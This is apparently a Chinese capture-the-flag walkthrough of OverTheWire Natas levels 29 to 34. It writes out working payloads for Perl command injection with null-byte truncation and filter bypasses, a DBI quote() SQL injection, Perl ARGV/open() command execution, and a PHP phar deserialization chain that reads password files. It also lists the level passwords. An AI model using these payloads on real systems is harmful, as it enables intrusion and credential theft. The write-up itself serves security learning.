将上面字符串带入get请求参数中,最终得到flag。
natas通关记录
flag:airooCaiseiyee8he8xongien9euhe8b
参考:
https://www.cnblogs.com/zhengna/p/12348921.html

Level 29-30(perl命令注入、00过滤、绕过截断)

Username: natas29
Password: airooCaiseiyee8he8xongien9euhe8b
URL:http://natas29.natas.labs.overthewire.org/
登录后发现,可以看到一个下拉列表,选择不同的内容,会得到不同的大量文本的页面。
natas通关记录
观察url部分:http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground

感觉是一个命令注入,尝试一下file=|ls %00,可以在页面底部看到文件列表,由此我们确定存在命令注入漏洞。
natas通关记录
尝试注入命令直接获取natas30的密码,结果并没有显示出密码。

payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/natas_webpass/natas30+%20%00
natas通关记录
由于刚才返回的文件列表中有index.pl,我们可以尝试打开index.pl来查看源码。

payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+index.pl%00
natas通关记录
我们看到,源码过滤了natas,导致显示meeeeeep!。我们可以将其绕过,从而得到flag。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00
natas通关记录
这里绕过过滤的方式有多种,比如

双引号绕过:file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00
单引号绕过:ffile=|cat+/etc/n%27%27atas_webpass/n%27%27atas30%00
反斜杠绕过:ffile=|cat+/etc/n\atas_webpass/n\atas30%00
等等
flag:wie9iexae0Daihohv8vuu3cei9wahf0e

总结:

1.在perl中“|”字符会将命令连接到脚本中。
2.URL中,空格可以用“+”或者“%20”表示,双引号(")可以用“%22”表示。
3.%00会被url解码成0x00,导致00截断。
4.00截断原理:截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (“”),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。
5.perl中,open()函数可以执行shell命令。
6.在shell命令注入漏洞中,有多种方式可以绕过过滤,详看这里。
7.开发过程中,应尽量少用可以执行命令的函数,如果必须要用,一定要做好过滤。

Level 30-31(SQL注入)

Username: natas30
Password: wie9iexae0Daihohv8vuu3cei9wahf0e
URL:http://natas30.natas.labs.overthewire.org/
登录后,发现为登录页面:
natas通关记录
查看源码:

if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); 

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}

问题出在$dbh->quote(param(‘password’))这里。

在Perl中,可以使用param(‘name’)方法获取post表单中name参数的值,但是这个方法有一个特点,那就是

当我们输入name=foo时,param(‘name’)方法返回的是name的值foo;
当我们输入name=foo&name=bar时,param(‘name’)方法返回的是name的值列表[“foo”,“bar”]。

在Perl中,quote()方法的传参类型可以为列表,如果将列表传递给该方法,则quote()会将其解释为单独的参数。比如

@list = ("a", "b")
quote(@list)

相当于

quote("a", "b")

Perl的quote($string)方法被用来“转义”包含在string中的任何特殊字符并增加所需的外部的引号。这里使用quote方法的本意是将用户的输入放在引号中以防止sql注入。但是当quote()可以接收两个参数时,它的用法变为:第一个参数表示将要被quote的数据,第二个参数表示一个SQL数据类型,决定如何quote。如果第二个参数是非字符串类型(如NUMERIC),则quote将传递其第一个参数,而不带任何引号。这就构成了SQL注入的机会。

所以,如果调用quote(param(‘password’)方法,我们可以通过抓包并给password赋两个值的方法来给quote()传入两个参数值。其中第二个参数为1个数字(比如2),使第一个参数值不带任何引号直接注入到SQL中,从而得到flag。

构造POST:username=natas31&password=‘xxx’ or 1=1 &password=2
natas通关记录
得到flag:hay7aecuungiuKaezuathuk9biin0pu1

Level 31-32(Perl远程命令执行)

Username: natas31
Password: hay7aecuungiuKaezuathuk9biin0pu1
URL:http://natas31.natas.labs.overthewire.org/natas通关记录
查看源码:

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

分析代码:
首先,【if ($cgi->upload(‘file’)) {】这行代码中,我们期望upload()负责检查“file”参数值所代表的文件是否已上传,然而实际上upload()检查的是某一“file”参数值所代表的文件是否已上传(用户可构造多个file参数)。换句话说,upload()并不要求所有的file参数都是文件,它只要求其中一个file参数是文件即可。这意味着,我们可以构造2个file参数,一个上传文件,另一个赋一个变量值,这样也可以通过upload()的校验。

然后,【my file=cgi->param(‘file’);】这行代码中,我们期望param()返回上传文件的文件描述符,然而实际上,如果我们构造2个file参数,一个上传文件,另一个赋一个变量值。那么param()返回我们输入的所有file参数值的列表。但是file不能包含两个值,所以在给file赋值时,程序会取列表中的第一个值赋给file。所以如果给第一个file参数赋变量值,第二个file参数赋文件描述符,则file会被赋值为我们输入的变量值,而不是上传的文件描述符。这意味着,此时$file变成了一个常规字符串!

接着,【while (<KaTeX parse error: Expected '}', got 'EOF' at end of input: …望遍历文件的每一行,但由于此时file是一个常规字符串,事实上,“<>”仅对文件起作用,对字符串不起作用。但是有一个特例,除非这个字符串是“ARGV”。当字符串是“ARGV”时,“<>”会遍历URL中?后面的每个值(比如POST /test.cgi?/etc/file1 /etc/file2),并把它们当做文件路径插入到一个open()调用中。这意味着,此时我们可以查看任何我们想看的文件内容,而不是仅仅查看我们上传的文件内容。

最后,再说说open()函数。open()的本意是打开一个字符串所代表的文件,但是当在字符串后面加一个“|”的话,open()就会执行这个字符串(比如POST /test.cgi?ipconfig|),就像调用一个exec()一样。
natas通关记录
key:no1vohsheCaiv3ieH4em1ahchisainge

Level 32-33(Perl远程命令执行)

Username: natas32
Password: no1vohsheCaiv3ieH4em1ahchisainge
URL:http://natas32.natas.labs.overthewire.org/
打开后和natas31相似的界面,并且提示,这次您需要证明可以远程代码执行,Webroot中有一个二进制文件可以执行。

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

于是延续上一题的思路,第一个file添加ARGV,URL加入命令ls -l . |查看Webroot目录下的文件,得到的结果中可以看到有一个getpassword.c程序文件。
natas通关记录
查看getpassword.c文件的内容是,读取/etc/natas_webpass/natas33。

natas通关记录
natas通关记录
尝试在URL后面直接输入getpassword文件执行,成功得到key。
natas通关记录
key:shoogeiGa2yee3de6Aex8uaXeech5eey

Level 33-34(Phar反序列化)

Username: natas33
Password: no1vohsheCaiv3ieH4em1ahchisainge
URL:http://natas33.natas.labs.overthewire.org/
又是一个上传文件的页面,源码如下:

// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
    private $filename="";       //三个私有参数
    private $signature='adeafbadbabec0dedabada55ba55d00d';
    private $init=False;
 
    function __construct(){     //类创建时调用
        $this->filename=$_POST["filename"];
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {   //限制文件大小
            echo "File is too big<br>";
        }
        else {                                                      //将文件移动到/natas33/upload/目录下
            if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                echo "Firmware upgrad initialised.<br>";
            }
            else{
                echo "There was an error uploading the file, please try again!<br>";
            }
        }
    }
 
    function __destruct(){      //类销毁时调用
        // upgrade firmware at the end of this script
 
        // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
        if(getcwd() === "/") chdir("/natas33/uploads/");    //getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
        if(md5_file($this->filename) == $this->signature){    //md5_file() 函数计算文件的 MD5 散列。
            echo "Congratulations! Running firmware update: $this->filename <br>";
            passthru("php " . $this->filename); //执行外部命令
        }
        else{
            echo "Failur! MD5sum mismatch!<br>";
        }
    }
}
 
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
    new Executor();
}

查看源码,我们知道,当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时,服务器会执行这个文件。很容易想到MD5碰撞,然而这里是无用的,因为对其进行了限制,限制为4096字节。

查看前端代码,会发现我们可以修改两个参数,文件名和文件内容。在下面这段代码中,我们可以看到文件名的设置,是用的session_id作为默认值。而且源码对上传文件的类型没有限制。

<form enctype="multipart/form-data" action="index.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
    <input type="hidden" name="filename" value="<? echo session_id(); ?>" />
        Upload Firmware Update:<br/>
    <input name="uploadedfile" type="file" /><br />
    <input type="submit" value="Upload File" />
</form>

继续审计源码,发现在类销毁时调用了__destruct()魔术方法,猜测代码中可能存在PHP反序列化漏洞。

我们利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高,这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息(文章地址:https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。
Phar文件结构

Phar文件主要包含三至四个部分:

1. A stub

stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件
2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity

签名校验
尝试利用phar反序列化漏洞获取密码
一 序列化
根据文件结构我们来自己构建一个phar文件(php内置了一个Phar类),代码如下:

<?php
    class Executor {
        private $filename = "xx.php";
        private $signature = True;
        private $init = false;
    }
     
    $phar = new Phar("test.phar");          //后缀名必须为phar
    $phar->startBuffering();
    $phar->addFromString("test.txt", 'test');    //添加要压缩的文件
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Executor();
    $phar->setMetadata($o);              //将自定义的meta-data存入manifest
    $phar->stopBuffering();              //签名自动计算
?>

这段代码将filename修改成了xx.php,将signature修改为True。这样的的话,MD5比较将会始终为真,passthru()函数将会执行xx.php。

代码直接运行的时候会报错:
natas通关记录
将php.ini中的phar.readonly设置成off,重启服务后,重新运行代码,生成了一个test.phar文件。
natas通关记录
用Notepad++打开文件,可以发现,meta-data已经以序列化的形式存在test.phar文件中
natas通关记录
说明一下:其实就是把要执行的命令序列化保存在phar的压缩文件里
二 反序列化

对应序列化,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。

首先,上传一个用来读取密码的php文件,代码如下:

<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>

用bp将其拦截,修改名称为xx.php。然后点击Go,上传成功。
natas通关记录
然后,将生成的phar文件上传,并重命名,点击Go,上传成功。
natas通关记录
最后,将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档,获取到flag。
natas通关记录
flag:shu5ouSu6eicielahhae0mohd4ui5uig

Level 34(闯关成功)

Username: natas34
Password: shu5ouSu6eicielahhae0mohd4ui5uig
URL:http://natas34.natas.labs.overthewire.org/
natas通关记录
参考
https://www.cnblogs.com/zhengna/p/12382033.html
感谢大佬的无私分享

上一篇:sqli-labs关卡1-15


下一篇:spring boot(二)整合mybatis plus+ 分页插件 + 代码生成